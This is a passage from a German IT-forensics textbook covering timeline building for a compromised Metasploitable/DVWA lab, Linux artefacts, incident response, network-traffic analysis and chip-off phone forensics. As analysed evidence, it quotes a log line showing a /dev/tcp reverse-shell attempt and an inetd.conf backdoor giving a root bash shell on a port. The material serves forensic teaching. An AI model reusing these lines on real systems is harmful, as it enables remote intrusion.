Damit können wir nun auch die UID in den Usernamen auflösen: sqlite> SELECT file_list.adate, file_list.atime, user_list.name, file_list.fname FROM file_list LEFT JOIN user_list ON user_list.uid = file_list.uid WHERE date(adate) > date("2021-10-01"); ┌────────────┬─────────────────────┬──────────┬──────────────────────────────────────────────┐ │ adate │ atime │ name │ fname │ ├────────────┼─────────────────────┼──────────┼──────────────────────────────────────────────┤ │ 2021-10-27 │ 14:04:50.0000000000 │ www-data │/var/www/ │ │ 2021-10-27 │ 14:04:52.0000000000 │ www-data │/var/www/dvwa │ │ 2021-10-27 │ 14:04:53.0000000000 │ www-data │/var/www/dvwa/dvwa/includes/dvwaPage.inc.php │ │ 2021-10-27 │ 14:04:53.0000000000 │ www-data │/var/www/dvwa/dvwa/includes/dvwaPhpIds.inc.php│ │ 2021-10-27 │ 14:09:44.0000000000 │ www-data │/var/www/dvwa/security.php │ │ 2021-10-27 │ 14:42:13.0000000000 │ www-data │/var/www/dvwa/hackable │ │ 2021-10-27 │ 14:42:32.0000000000 │ www-data │/var/www/dvwa/hackable/uploads │ │ 2021-10-27 │ 14:42:24.0000000000 │ www-data │/var/www/dvwa/hackable/uploads/SYPPS.php │ So wird eine Ausgabe noch übersichtlicher. Außerdem können wir nach einem Datum filtern oder sortieren. Natürlich sollten wir auch die Gruppen (/etc/groups) importieren. Das überlasse ich allerdings Ihnen als kleine Übung. Der nächste Schritt ist es dann die relevanten weiteren Artefakte hinzuzufügen. Da wir hier einen Webserver haben, können wir mit dem Apache Logs beginnen. Dazu habe ich einen sehr primitiven Parser in Python geschrieben: root@Lab3:/home/kali/Cases/2021_002$ cat parse_access_log.py import sys month_to_int = {"May" : 5, "Oct" : 10} with open(sys.argv[1], "r") as f: for line in f: tmp = line.split("[") tmp = tmp[1].split("]") date = tmp[0][:11].split("/") date = f"{date[2]}-{month_to_int[date[1]]}-{date[0]}" time = tmp[0][12:].split(" ")[0] print(f"{date}|{time}|{line}", end="") 304
Als Spaltentrenner habe ich hier | verwendet, da dieses Zeichen nicht innerhalb der Logdatei vorkommt. Dann können wir dieses Script verwenden um die Daten zu parsen. Ich habe hier keinen wirklich mächtigen Parser geschrieben, sondern nur auf eine primitive Weise das Datum und die Uhrzeit extrahiert. root@Lab3:/home/kali/Cases/2021_002$ python3 parse_access_log.py mountpoint/var/log/apache2/access.log > apache_access.csv Jetzt können wir die soeben erstellte Datei in der Datenbank einpflegen: root@Lab3:/home/kali/Cases/2021_002$ sqlite3 2021_002.sqlite SQLite version 3.34.1 2021-01-20 14:10:07 Enter ".help" for usage hints. sqlite> CREATE TABLE apache_access( date TEXT NOT NULL, time TEXT NOT NULL, entry TEXT NOT NULL ); sqlite> .separator | sqlite> .import apache_access.csv apache_access … und eine Timeline bilden: sqlite> INSERT sqlite> INSERT sqlite> INSERT sqlite> INSERT apache_access; INTO timeline SELECT adate, INTO timeline SELECT mdate, INTO timeline SELECT cdate, INTO timeline SELECT date, atime, "HDD A", fname mtime, "HDD M", fname ctime, "HDD C", fname time, "HTTP ACCESS", FROM file_list; FROM file_list; FROM file_list; entry FROM Natürlich fehlen hierbei noch viele weitere Artefakte. Ich wollte an dieser Stelle nur demonstrieren wie wir eine Timeline grundsätzlich aufbauen können. Sie sehen aber auch, dass das Zusammentragen und formatieren der Daten nicht gerade wenig Arbeit ist und wie sie sich eventuell schon denken können, sind auch nicht alle Zeitangaben einheitlich und Sie müssen sich darum ebenfalls kümmern alles auf einen gemeinsamen Nenner zu bringen. Abgesehen davon werden derartige eigenentwickelte Lösungen, die noch nicht erprobt wurden vor Gericht gern in Zweifel gezogen. Auch das spricht dafür, dass wir uns primär nach forensisch erprobten und anerkannten Lösungen umsehen. 305
Natürlich könnte man dies auch mit einem einfachen Shell-Script erledigen, aber ich finde Python-Code deutlich lesbarer und einfacher zu verstehen. 306
The Sleuth Kit TSK ist ein CLI Forensik-Toolkit das einige interessante Funktionen zur Analyse von Dateisystemen und auch zum Erstellen einer Dateisystem-Timeline bietet. Bevor wir beginnen will ich Ihnen eine kurze Orientierungshilfe in TSK geben... Die Arbeitsweise des Sleuth Kit basiert auf einer Aufteilung der Befehle in verschiedene Klassen: > > > > > > Image Layer (img_... Befehle) Media Management Layer (mm... Befehle) Dateisystem Layer (fs... und j... Befehle) Dateinamen Layer (f... Befehle) Dateiinhalts Layer (i... Befehle) Block Layer (blk... Befehle) Der zweite Teil der Befehle orientiert sich an den Linux-Befehlen so gibt es zB mmls, fls, ils, blkls und jls um Daten des jeweiligen Layers aufzulisten. Hierbei steht fs... für das Dateisystem (Filesystem) und j... für das Journal. Die wichtigsten Funktionen sind die Folgenden: ls ..... Auflisten - zB: fls -r root.001 | grep SYPPS Auflisten der Dateinamen und Filtern nach den String SYPPS. cat .... Ausgabe - zB: icat root.001 245774 Ausgabe des Dateiinhalts der Datei mit dem Inode 245774. stat ... Statistische Informationen - zB: fsstat root.001 Ausgabe von Statistischen Informationen zum Dateisystem find ... Suchen - zB: ifind -n "/etc/passwd" root.001 Ausgabe der Inode-Nummer von /etc/passwd. Oder blkfind root.001 1005568 Ausgabe ob der Block 1005568 belegt ist oder nicht. ... wobei nicht jeder der Befehle in jedem Level oder jeder Befehlsgruppe vorhanden ist. So gibt es zB kein fscat oder jfind. Darüber hinaus gibt es noch einige weitere Befehle wie zB: 307
Hashwert in Hash-Datenbank prüfen Timeline-CSV erstellen Suche einer Signatur (Magic Number) Dateien nach Kategorien sortieren Inhalte von Ordnern, Images oder lokalem Datenträger vergleichen tsk_gettimes ..... MAC-Times in Bodyfile sammeln tsk_loaddb ....... SQLite Datenbank mit Metadaten laden tsk_recover ...... Dateien aus dem Image extrahieren hfind ............ mactime .......... sigfind .......... sorter ........... tsk_comparedir ... Die tsk_... Befehle arbeiten hierbei vollautomatisch. Damit können wir nun als Übung eine Timeline von Hand erstellen: mb@FW3:/mnt/d/Images/MS2$ fls -m "/" -r -z CET root.001 > bodyfile.txt mb@FW3:/mnt/d/Images/MS2$ mactime -y -d -b bodyfile.txt > timeline.csv Dies können wir dann in Timeline-Explorer öffnen: ... oder in unsere Datenbank einpflegen! 308
Log2Timeline / Plaso Log2Timeline ist ein in Python geschriebenes Programm das genau das macht was wir zuvor von Hand versucht haben. Plaso ist die Engine auf die Log2Timeline aufbaut. Die Nutzung ist denkbar einfach: root@Lab3:/home/kali/Cases/2021_002$ log2timeline.py --parsers linux, apache_access plaso.sqlite root.img Mit --parsers legen wir die einzelnen Parser wie apache_access oder Gruppen wie linux fest. Danach folgt der Name der SQlite-Datenbank in die die Ergebnisse gespeichert wurden gefolgt von dem zu untersuchenden Medium. Dies kann wie hier ein Image einer Partition sein oder ein Image einer ganzen Festplatte. Sie könnten aber auch einen Mountpoint eines Datenträgers oder eine Gerätedatei angeben. Je nach Größe des Images und Geschwindigkeit der Datenträger und Ihres Prozessors sowie Anzahl der ausgesuchten Parser, kann der Vorgang von einigen Minuten bis hin zu einigen Stunden dauern. Einen Überblick über die gefundenen Dinge erhalten wir mit: root@Lab3:/home/kali/Cases/2021_002$ pinfo.py plaso.sqlite 2021-10-29 23:17:45,777 [WARNING] (MainProcess) PID:25045 <tools> This version of plaso is more than 6 months old. WARNING the version of plaso you are using is more than 6 months old. We strongly recommend to update it. ************************** Plaso Storage Information *************************** Filename : plaso.sqlite Format version : 20200523 Storage type : session Serialization format : json -------------------------------------------------------------------------------*********************************** Sessions *********************************** 503c4b13-e0f9-431a-8c52-04a715f0304f : 2021-10-29T20:58:30.834920Z -------------------------------------------------------------------------------************************* Events generated per parser ************************** Parser (plugin) name : Number of events -------------------------------------------------------------------------------apache_access : 119 309
dpkg : 1220 filestat : 174516 firefox_cache : 633 firefox_history : 187 olecf_default : 26 pls_recall : 1 syslog : 4345 utmp : 22 vsftpd : 10 Total : 181079 -------------------------------------------------------------------------------No events labels stored. ************************ Warnings generated per parser ************************* Parser (plugin) name : Number of warnings -------------------------------------------------------------------------------syslog : 6 <No parser> : 27 pls_recall : 1 -------------------------------------------------------------------------------************************* Pathspecs with most warnings ************************* Number of warnings : Pathspec -------------------------------------------------------------------------------6 : type: OS, location: /home/kali/Cases/2021_002/root.img : type: RAW : type: TSK, inode: 66092, location: /var/log/installer/syslog ... Ausgabe gekürzt -------------------------------------------------------------------------------No analysis reports stored. Nachdem wir alle Daten in der SQlite-Datenbank zusammengetragen haben, können wir daraus eine Super-Timeline erstellen. Dazu verwenden wir folgenden Befehl: root@Lab3:/home/kali/Cases/2021_002$ psort.py -o l2tcsv -w timeline.csv plaso.sqlite "date > '2021-10-20 00:00:00'" Mit -o legen wir das Format fest und mit -w den Namen der Ausgabedatei danach folgt der Pfad zur SQlite-DB. Außerdem können wir einen Filter-String als letzten Parameter übergeben. Hier habe ich mich dazu entschieden nur Ereignisse ab dem 20.10.2021 in die Timeline mit aufzunehmen. 310
Diese CSV-Datei können wir nun mit OpenOffice Calc, Excel oder TimelineExplorer öffnen und genauer untersuchen. Aber auch Log2Timeline ist nicht perfekt - derzeit können noch viele Artefakte bzw. Logdateien nicht geparst werden aber es ist zumindest ein guter Anfang und Sie können selbst Erweiterungen und Parser schreiben, die dann auch allen anderen zu Gute kommen. In diesem Fall finden wir zB Einträge wie [Wed Oct 27 08:18:05 2021] [error] [client 192.168.1.107] sh: /dev/tcp/192.168.1.2/3347: No such file or directory, referer: http://192.168.1.167/dvwa/vulnerabilities/exec/ in ./mountpoint/var/log/apache2/error.log, die nicht in der Timeline enthalten sind. In ./mountpoint/var/log/auth.log finden wir unter anderem folgende Zeilen: Oct 27 08:20:26 metasploitable sshd[4929]: Failed password for msfadmin from 192.168.1.168 port 60431 ssh2 Oct 27 08:20:30 metasploitable sshd[4929]: Accepted password for msfadmin from 192.168.1.168 port 60431 ssh2 Oct 27 12:10:19 metasploitable sshd[5896]: Accepted password for sys from 192.168.1.2 port 53604 ssh2 Oct 27 12:10:19 metasploitable sshd[5898]: pam_unix(sshd:session): session opened for user sys by (uid=0) Oct 27 12:10:35 metasploitable sshd[5898]: Received disconnect from 192.168.1.2: 11: disconnected by user Oct 27 12:10:35 metasploitable sshd[5898]: pam_unix(sshd:session): session closed for user sys Sie müssen immer noch einen Teil der Arbeit von Hand machen und entsprechend in der Timeline ergänzen. Abgesehen davon hatte unsere händische Analyse des Live-Systems auch noch zu Tage gefördert, dass eine Root-Shell an Port 1524 hinterlassen wurde. Dies wollen wir uns an dieser Stelle noch ansehen. 311
Zuerst habe ich die Binärdatei .mountpoint/usr/sbin/xinetd auf virustotal.com hochgeladen um eine Infektion mit Schadware auszuschließen. Dies ist keine 100% zuverlässige Methode aber gut genug um zu entscheiden ob eine genauere Untersuchung mit einem Disassembler / Debugger wie Ghidra oder Radare2 Sinn macht. Danach habe ich mir die Konfigurationsdateien ./mountpoint/etc/xinetd.conf und ./mountpoint/etc/xinetd.d/* genauer angesehen. Diese sind ebenfalls unauffällig. Das hat mich dann kurzfristig etwas aus dem Konzept gebracht bis ich auf die Idee kam mir die Parameter genauer anzusehen: -pidfile /var/run/xinetd.pid -stayalive -inetd_compat Hierbei sorgt -inetd_compat dafür, dass die ./mountpoint/etc/inetd.conf ausgewertet wird und diese sehen wir uns nun gemeinsam an: root@Lab3:/home/kali/Cases/2021_002/mountpoint$ cat ./etc/inetd.conf #<off># netbios-ssn stream tcp nowait telnet stream tcp nowait telnetd /usr/sbin/tcpd root /usr/sbin/tcpd /usr/sbin/in.telnetd /usr/sbin/smbd #<off># ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.ftpd tftp dgram udp wait nobody /usr/sbin/tcpd /usr/sbin/in.tftpd /srv/tftp shell stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rshd login stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rlogind exec stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rexecd ingreslock stream tcp nowait root /bin/bash bash -i Die letzte Zeile erklärt dann auch wie die Root-Shell zu Stande kommt. Damit stellt sich die Frage wann diese Datei zuletzt verändert wurde: root@Lab3:/home/kali/Cases/2021_002/mountpoint$ stat ./etc/inetd.conf Datei: ./etc/inetd.conf Größe: 529 Blöcke: 8 EA Block: 4096 reguläre Datei Gerät: 700h/1792d Inode: 140178 Verknüpfungen: 1 Zugriff: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Zugriff: 2021-10-27 13:42:30.000000000 +0200 Modifiziert: 2012-05-20 21:02:14.000000000 +0200 Geändert: 2012-05-20 21:02:14.000000000 +0200 Geburt: - Da diese Root-Shell von den Erstellern von Metasploitable eingebaut wurde ist es auch nicht verwunderlich, dass die letzte Änderung der Datei 2012 war. 312
Die wichtigsten Linux/Unix - Artefakte Es gibt nicht nur ein Linux oder Unix - verschiedenste Abwandlungen und Distributionen handhaben viele Kleinigkeiten etwas anders. Das können andere Namen für Pakete oder andere Pfade für Konfigurationsdateien sein - so wird der Apache Webserver auf Debian-basierten Systemen in der Regel apache2 genannt und auf RedHat-basierten Systemen als httpd. Diese kleinen Unterschiede muss man unbedingt kennen und bei der Auswertung beachten! Shell-History - zB /root/.bash_history bzw. /home/[user]/.bash_history Hierbei müssen wir bedenken, dass es neben bash noch einige andere Shells gibt. Welche Shell ein User verwendet finden wir in der Datei /etc/passwd vermerkt. Die meisten Shells haben eine Histrory-Datei in der vom User abgesetzte Befehle gespeichert sind. Hierbei haben wir normalerweise keine Datums- und Zeitangaben wann welcher Befehl ausgeführt wurde aber wir können die Befehle zumindest einem User zuordnen. Bedenken Sie auch, dass unsere Befehle die wir bei der Live-Analyse ausgeführt haben auch in diesen Dateien landen. Es wäre also nicht schlecht wenn wir dazu eine andere Shell als die User-Shell verwenden! Shell-Konfigurationsdatei - zB /root/.bashrc bzw. /home/[user]/.bashrc In diesen Konfigurationsdateien können zB Aliase (Kurzschreibweisen für Befehle) und einige andere Dinge hinterlegt werden, die beim Login ausgeführt werden. Daher eignet sich diese Datei auch gut um zB Schadware wie Keylogger zu starten. Logdateien Diese finden Sie in der Regel unter /var/log. Je nach Systemkonfiguration können Logs aber auch auf einem externen Logserver liegen. Einige Programme legen Ihre Logs in Unterordner wie zB der Apache Webserver. Bedenken Sie auch, dass Logs oftmals archiviert und komprimiert werden. So finden wir zB auf einem meiner Systeme folgendes: -rw-r-----rw-r-----rw-r-----rw-r-----rw-r----- 1 1 1 1 1 syslog syslog syslog syslog syslog adm adm adm adm adm 1276380 1259971 96175 128226 94994 Okt Okt Okt Okt Okt 30 24 17 11 3 20:09 00:09 00:05 00:07 00:07 ufw.log ufw.log.1 ufw.log.2.gz ufw.log.3.gz ufw.log.4.gz Hierbei ist ufw.log.1 die vorherige Log-Datei und ufw.log.2.gz die Gzipkomprimierte vorvorherige Logdatei. 313
Versteckte Ordner im User-Verzeichnis - zB /home/[user]/.mozilla oder /home/[user]/.xchat2 oder /home/root/.ssh Alle Dateien und Ordner, die mit einem . beginnen sind versteckt und werden in Dateibrowsern nicht angezeigt außer man aktiviert die Anzeige versteckter Dateien. Gleiches gilt zB für ls - nur mit der Option -a werden auch versteckte Ordner und Dateien angezeigt. In diesen versteckten Ordnern und Dateien in Benutzerverzeichnis finden wir von Programmkonfigurationen bis zu Profilen der Webbrowser und E-Mail-Clients sehr viele nützliche Dinge. Da wir hier meist einfache Textdateien haben, ist eine Manipulation der Artefakte sehr einfach möglich. Bedenken Sie also immer, dass Sie auf die Sinnhaftigkeit und auf fehlende Zeiträume achten müssen. Daher sollte man Logs auch außerhalb der Timeline für sich alleingenommen betrachten! 314
315
IT-FORENSIK ALS TEILAUFGABE DES CSIRT CSIRT steht für "Computer Security and Incident Response Team". Dies ist ein Team von Spezialisten die auf sicherheitsrelevante Vorfälle innerhalb einer Firma reagieren. Größere Firmen haben hierzu oft eigene Teams und kleinere Firmen outsourcen diese Aufgabe an spezialisierte Dienstleister. Incident Response folgt in der Regel folgendem Zyklus: 1. 2. 3. 4. 5. 6. Vorbereitung auf mögliche Angriffe Erkennen eines Vorfalls Analyse Eindämmung Beheben der Schwachstelle und Wiederherstellung Abschlussbericht und Verbesserungsvorschläge erarbeiten um zukünftige Vorfälle dieser Art zu erschweren oder ganz zu verhindern Bei der Vorbereitung beschäftigt sich das CSIRT mit möglichen Angriffen, deren Verhinderung und Notfallplänen für den Ernstfall. Teile dieser Arbeit fließen in Firmenrichtlinien, Backup- und Sicherheits-Konzepte, etc. ein. Die Information das ein möglicher Vorfall vorliegt kann aus den unterschiedlichen Quellen stammen von IDS- und Firewall-Logs über einen Administrator dem ungewöhnliche Aktivitäten auffallen oder Usern die einen E-Mail-Anhang geöffnet haben bis hin zu externen Quellen wie der Polizei oder ihrem Provider der Sie informiert, dass ihre IP für Angriffe auf andere Computersysteme oder diverse andere illegale Aktivitäten missbraucht wird. Darum ist die Vorbereitung auch sehr wichtig denn sobald ein derartiger Vorfall bekannt wird, müssen Zuständigkeiten, Aufgabenverteilung, Vorgehensweise, verwendete Tools und mögliche Eindämmungs- und Gegenmaßnahmen bereits geplant sein um keine Zeit zu verlieren! Bei der Analyse kann IT-Forensik einen großen Teil der Arbeit ausmachen aber nicht jeder Angriff bedarf einer genaueren forensischen Analyse - bei einem gehackten Server über den nun Phishing betrieben wird, ist eine Beweismittelsicherung und entsprechende Analyse durchaus angebracht um für eventuelle Schadensersatzforderungen oder Anfragen der Strafverfolgungsbehörden gewappnet zu sein. Ein DDoS-Angriff wird hingegen kaum eine genauere forensische Auswertung rechtfertigen. 316
Als Teil des CSIRT geht es bei forensischen Untersuchungen der betroffenen Systeme auch primär um die Beweissicherung und Analyse soweit dies für Gegenmaßnahmen (Anzeigen, Abuse-Reporte an Provider, IP-Sperren an der Firewall, etc.) nötig ist und nicht darum den Verursacher auszuforschen. Die Zeit für eine sehr detaillierte Analyse fehlt meist und daher werden nur oberflächlichere Analysen erstellt, die dazu dienen die geeigneten Eindämmungsund Gegenmaßnahmen zu ermitteln bzw. Details für diese wie zB IP-Adressen oder IP-Adressbereiche zu liefern. Bei der Eindämmung wird versucht Schaden für weitere Bereiche der ITInfrastruktur zu verhindern. Oftmals werden betroffene Clients und Server isoliert und damit quasi zu einem Honeypot. Somit ist es auch nicht unüblich die Angreifer live am System zu beobachten bevor die betroffenen Systeme ausgeschalten und gesäubert werden. Anschließend werden im nächsten Schritt die letzten Beweise gesichert indem beispielsweise betroffene Datenträger geklont werden. Meist werden parallel dazu die betroffenen Systeme neu aufgesetzt oder von Malware gesäubert um dann wieder in Betrieb genommen zu werden. Es werden entsprechende Patches oder Updates eingespielt und andere Maßnahmen getroffen um weitere Angriffe zu verhindern. Der finale Schritt ist das Erarbeiten eines Abschlussberichts der auch Verbesserungsvorschläge nennt, die zukünftige Vorfälle dieser Art erschweren oder verhindern sollen. Meist wird dieser Bericht in verschiedenen Detailgraden für die verschiedensten Nutzer erstellt. Die Firmenleitung oder Marketing-Abteilung benötigt beispielsweise keine technischen Details um zusätzliche Investitionen zu genehmigen oder beruhigende Statements zu erarbeiten um einen möglichen Image-Schaden einzudämmen. Die IT-Abteilung benötigt hingegen alle technischen Details um entsprechende Gegenmaßnahmen und Verbesserungen umzusetzen. Das CSIRT ist in der Regel in folgende Bereiche unterteilt: 317
> Kern-Team Erledigt die Planung, Analyse, Beweissicherung, Auswertung, etc. > Technischer Support Hierunter fallen zB Administratoren, Help-Desk, etc. die das Kern-Team bei bestimmten Teilaufgaben wie Erfassen von Logdateien und Paket-Captures, Identifizierung von legitimen und veränderten oder neu angelegten Useraccounts, Identifizierung kompromittierter Systeme, usw. unterstützen. Außerdem kümmern sie sich um User- und Kundenanfragen damit das CSRIT sich nicht zusätzlich damit beschäftigen müsste. > Administrativer Support Dies kann alles von der Personal- über die Marketingabteilung bis zum Hausmeister oder dem Wachschutz sein, der dem CSIRT Zugang zu zusätzlichen Informationen über Mitarbeiter oder den Zutritt zu bestimmten Bereichen im Firmengebäude gewährt. Die Marketingabteilung wird hingegen versuchen auf Kunden beruhigend einzuwirken um einen Image-Schaden und ein zu hohes Telefonaufkommen zu verhindern und so den Administrativen Support zu entlasten. Außerdem kann diese Abteilung Kunden vor möglichen Angriffen (zB gefälschte E-Mails) warnen und so auch die mögliche Anzahl der Vorfälle eindämmen. > Externe Nutzer Dies kann der Provider oder auch Strafverfolgungsbehörden sein, die auf Basis der Informationen des CSIRT tätig werden und Nutzern den Internetzugang sperren (zB nach einem Abuse-Report) oder eine Ermittlung nach einer Anzeige einleiten. Sie sehen an den Bereichen auch gut, dass hier ein entsprechender Plan und eine Aufgabenteilung vorliegen muss, damit alle gut zusammenarbeiten können und ein Vorfall schnellstmöglich abgearbeitet werden kann. Geschwindigkeit ist hierbei auch der entscheidende Faktor denn die meisten Unternehmen werden ohne Ihre IT-Infrastruktur sehr eingeschränkt funktionieren und jede Minute kostet Geld! Genau darum gibt es auch Tools wie Belkasoft T oder Binalyze DRONE und AIR... 318
Beispiel Metasploitable Netzwerkverkehr In einer Insident Response Situation kann es manchmal nützlich sein einen Angreifer für eine gewisse Zeit gewähren zu lassen um den Angriff zu analysieren. Natürlich nur bis zu diesem Zeitpunkt an dem ein Schaden oder Datenverlust zu wahrscheinlich wird. Oftmals ist dies in der Anfangsphase eines Angriffs sehr gut machbar. In anderen Situationen ist es mit einer Live-Analyse eines Angriffs einfacher Beweise zu sammeln. Dies ist beispielsweise in Fällen von Verletzungen von Benutzerrichtlinien ein guter Ansatz. So können die Aktionen eines auffälligen Nutzers analysiert und überwacht werden bis klar wird worauf der Nutzer es abgesehen hat. Wireshark kennen wir bereits allerdings hat das Tool einen großen Nachteil. Wir müssen die Analyse der Pakete selbst vornehmen. Das ermöglicht uns die größte Flexibilität, aber in den oben genannten Fällen ist eine manuelle Analyse zeitlich oftmals nicht möglich. Daher will ich Ihnen hier zwei weitere nützliche Tools für Ihr Arsenal vorstellen: Networkminer Dieses Tool erlaubt die Aufzeichnung und Live-Analyse von Netzwerk-Paketen. 319
Hierbei gliedert sich das Interface in mehrere Tabs in denen wir verschiedenste Informationen aus dem Netzwerkverkehr aufbereitet bekommen. Die Pro-Version für den professionellen Einsatz ist zwar nicht gerade günstig aber ein sehr nützliches Tool. Im zuvor gezeigten Screenshot sehen wir eine Übersicht der Hosts mit denen eine Kommunikation stattfindet. Im Files-Tab können wir alle übertragenen Dateien sehen: Das sind in diesem Fall einige HTML-Dateien und die Datei SYPPS.php, welche wir uns mit einem Doppelklick genauer ansehen... So können wir den Quellcode der Datei analysieren. Natürlich könnten wir zB eine der HTML-Dateien auch gleich in Browser öffnen, um uns den Inhalt der Datei gerendert anzusehen. Dazu klicken wir mit der rechten Maustaste auf den Eintrag in der Liste und wählen im Kontextmenü Öffnen aus. Dies ist natürlich mit vielen anderen Datentypen auch möglich! 320
Hier lässt der kleine Code-Ausschnitt nichts Gutes vermuten. Auffällig ist auch die große Anzahl der übertragenen Parameter. Also sehen wir uns diese Liste genauer an: Hier sehen wir gleich einige Parade-Beispiele für einen SQLi Angriff... 321
So können wir relativ schnell einen Überblick bekommen was passiert und wir haben die Daten bereits zu einem großen Teil ausgewertet. Eine kostenlose Alternative stellt folgendes Tool dar. Chaosreader ... ist ein CLI-Tool das beispielsweise über das WSL ausgeführt werden kann: mb@DESKTOP-JK64KQR:/mnt/d/Sample_files$ ble.pcap chaosreader -ve metasploita- Chaosreader ver 0.95.10 Opening, metasploitable.pcap Reading file contents, 100% (888474/888474) Reassembling packets, 100% (2386/2400) Creating files... Hierbei wird ein Paket-Dump analysiert und in einen HTML-Report beschreiben: 322
Eine Art von Live-Analyse ist mit chaosreader -S 1,99 zu erreichen. Hierbei wird chaosreader 99-mal für eine Minute das Netzwerk sniffen und dann jeweils eine Auswertung erstellen. Wenn wir eine der session_####.part_##.html öffnen, sehen wir die Webseite die übertragen wurde: Auch hier erkennen wir die Anzeichen für einen SQLi Angriff überdeutlich. Der GET/POST Report erlaubt uns einen Überblick über alle Anfragen an einen Webserver: So können wir auch schnell potentielle Angreifer identifizieren. Wobei chaosreader im Vergleich zu NetworkMiner deutlich weniger bietet und auch stark auf die Analyse von Angriffen auf Webseiten bzw. Webserver zugeschnitten ist. 323
Zumindest werden die wichtigsten Protokolle geparst und halbwegs übersichtTCPflow lich aufbereitet. Weitere interessante Tools wären https://github.com/simsong/tcpflow Zeek Network Security Monitor ( ) und https://zeek.org/ ( ). 324
325
MOBILTELEFON FORENSIK Heutzutage greifen mehr Leute mit mobilen Endgeräten (Telefon, Tablet, ...) auf das Internet zu als mit regulären Computern (Laptops, Stand-PC). Außerdem nutzen viele Personen ihr Smartphone für viel mehr als nur das Telefonieren und schreiben von E-Mails und Nachrichten! Influencer bestreiten Ihren Lebensunterhalt mit dem Content den Sie auf diversen Plattformen posten und viele davon arbeiten mit Ihrem Handy oder Tablet quasi hauptberuflich. Eine große Anzahl an Personen nutzt das Smartphone als zusätzliches Gerät für die Zwei-Faktor-Authentifizierung und manche Apps sind vom Mobiltelefon aus am verwundbarsten. So kenne ich Banking-Apps die bei Überweisungen von PC eine Bestätigung mit der App am Telefon verlangen um die Transaktion zu autorisieren. Überweist man das Geld von der App im Telefon direkt, gibt es keine zusätzliche Bestätigungsnachricht per E-Mail oder dergleichen. Das macht mobile Endgeräte für Cyberkriminelle sehr interessant denn diese können über das Telefon am einfachsten und schnellsten an das Geld ihrer Opfer kommen. Die Leistung von Telefonen ist außerdem in den letzten Jahren dramatisch angestiegen und die Öffentlichkeit hat sich schon längst daran gewöhnt, dass überall Leute etwas mit ihrem Handy machen. Wäre vor einigen Jahren jemand der mit dem Laptop im Auto vor einem Gebäude sitzt und das WLAN knackt noch als ungewöhnlich aufgefallen, ist es heute normal, dass jemand mit dem Handy in der Hand an der Ecke steht und damit etwas macht. Mit Tools wie Nethunter wird manches Smartphone sehr schnell in ein unauffälliges und vielseitiges Hacking-Tool verwandelt. Aber auch kriminelle kommen kaum noch ohne digitale Kommunikation aus und so manche App bietet auch entsprechend sichere Kommunikationskanäle um es Ermittlern sehr schwer zu machen. Kurz um - wir kommen an diesen Geräten heute kaum noch vorbei! 326
Chip-Off Forensik bei alten / unverschlüsselten Geräten Also fangen wir mit einigen noch nicht verschlüsselten Geräten und (fast) allen Android-Telefonen vor Version 6.x an. Diese Geräte sind sehr einfach auszulesen. Die fehlende Verschlüsselung erlaubt es uns die Daten einfach über den JTAG-Port oder direkt vom Speicherchip zu lesen. Zuerst müssen wir das Gerät zerlegen und den Speicherchip identifizieren. Dazu googeln wir einfach die Datenblätter zu den Bezeichnungen auf den Chips und bei "Hynix H9TP32A8JDMC datasheet" werden wir in diesem Beispiel fündig: "32G EMMC FLASH FBGA162" Das sind nicht 32 Gigabyte, sondern 32 Gigabit. Das entspricht 4 GB und damit der Speichergröße des Telefons. Außerdem sehen wir, dass dies ein BGA162 Chip ist. Hierbei steht BGA162 für "Ball Grid Array" mit 162 Pads. Das sind Chips die keine Füßchen, sondern Kontaktpads auf der Unterseite haben. Die 162 ist ein Standard für ein bestimmtes Layout an Pads. Das sagt uns also welchen Socket wir zum Lesen benötigen. Ich habe für diese Chips entsprechende Sockets für meine EasyJTAG Box und nochmals ein entsprechendes Socket im MOORC E-MATE X 13-in-1 Set mit dem SDKarten Adapter. Damit kann ich den Chip wahlweise wie eine SD-Karte an einem Kartenleser anschließen (MOORC) oder an der EasyJTAG Box (https://easy-jtag.com/). Ich entscheide mich für ersteres da ich mit der EasyJTAG Box auch gut die Lesegeschwindigkeit und damit die Stabilität anpassen kann. Neben EasyJTAG gibt es viele weitere Boxen die alle bestimmte Vor- und Nachteile haben. Diese Geräte sind allerdings nicht für Datenrettungen gebaut worden, sondern für Anbieter von Mobiltelefon-Shops um Geräte zu flashen, entsperren, etc. 327
Zum Entlöten verwende ich meine Heißluft-Lötstation mit einer passenden Düse um den Luftstrom auf den Chip zu konzentrieren. Als Vorheiztemperatur verwende ich 180°C und als Luftstromtemperatur 410°C wobei dies die Angaben meiner Lötstation sind und die Temperaturen auf der Platine vor allem bei günstigen Lötstationen stärker abweichen können. Um keine kleinen Bauteile von der Platine zu blasen habe ich den Luftstrom auf ca. 30% geregelt. Ich versuche in solchen Fällen recht heiß und schnell zu löten wobei die Vorwärmplatte die Temperatur-unterschiede über den ganzen PCB etwas angleicht um die Belastung durch ein Verziehen des PCB zu reduzieren. Der Haltearm ermöglicht es mir die Hände frei zu haben um den Chip schnell mit einer Pinzette abzuheben, wenn dieser frei ist. Je nach Hersteller und Modell haben wir es hier auch mit versiegelten Chips zu tun. Diese sind mit einer Art Harz unterfüllt um den Chip vor Feuchtigkeit zu schützen. Dieser Schutz ist beim Entlöten ein echtes Ärgernis und macht die ganze Aufgabe deutlich schwerer. In solchen Fällen nutze ich ein Skalpell um mich langsam an den Rändern entlang zu arbeiten und dann von einer Seite langsam und vorsichtig immer weiter bis der Chip frei ist. Dabei muss man nicht nur vorsichtig, sondern auch schnell sein um den Chip nicht zu überhitzen! Wir müssen bei derartigen Chips die Temperatur durch den Chip auf die Pads darunter bringen und darum sollte man die Lötzeit kurz halten um keine Beschädigung des Chips zu riskieren. Man darf aber auch nicht zu heiß löten, um den Chip nicht zu verbrennen. 328
Sie müssen für sich passende Einstellungen mit Ihrer Lötstation selber finden! Hierbei gilt: Viel Flussmittel hilft viel! Sie sehen an diesem Bild gut wie die Form der Pads an der Unterseite aussieht, aber Sie sehen auch, dass keine Bauteile rund um den Chip verschoben sind. So sollte ein gutes Ergebnis aussehen! Wenn Sie mit derartigen Untersuchungen beginnen, sollten Sie mit verschiedensten alten Platinen üben bis Ihre Ergebnisse gut aussehen. Wir sehen bei diesem Telefon aber auch einen weiteren Stolperstein für TelefonReparaturen: 329
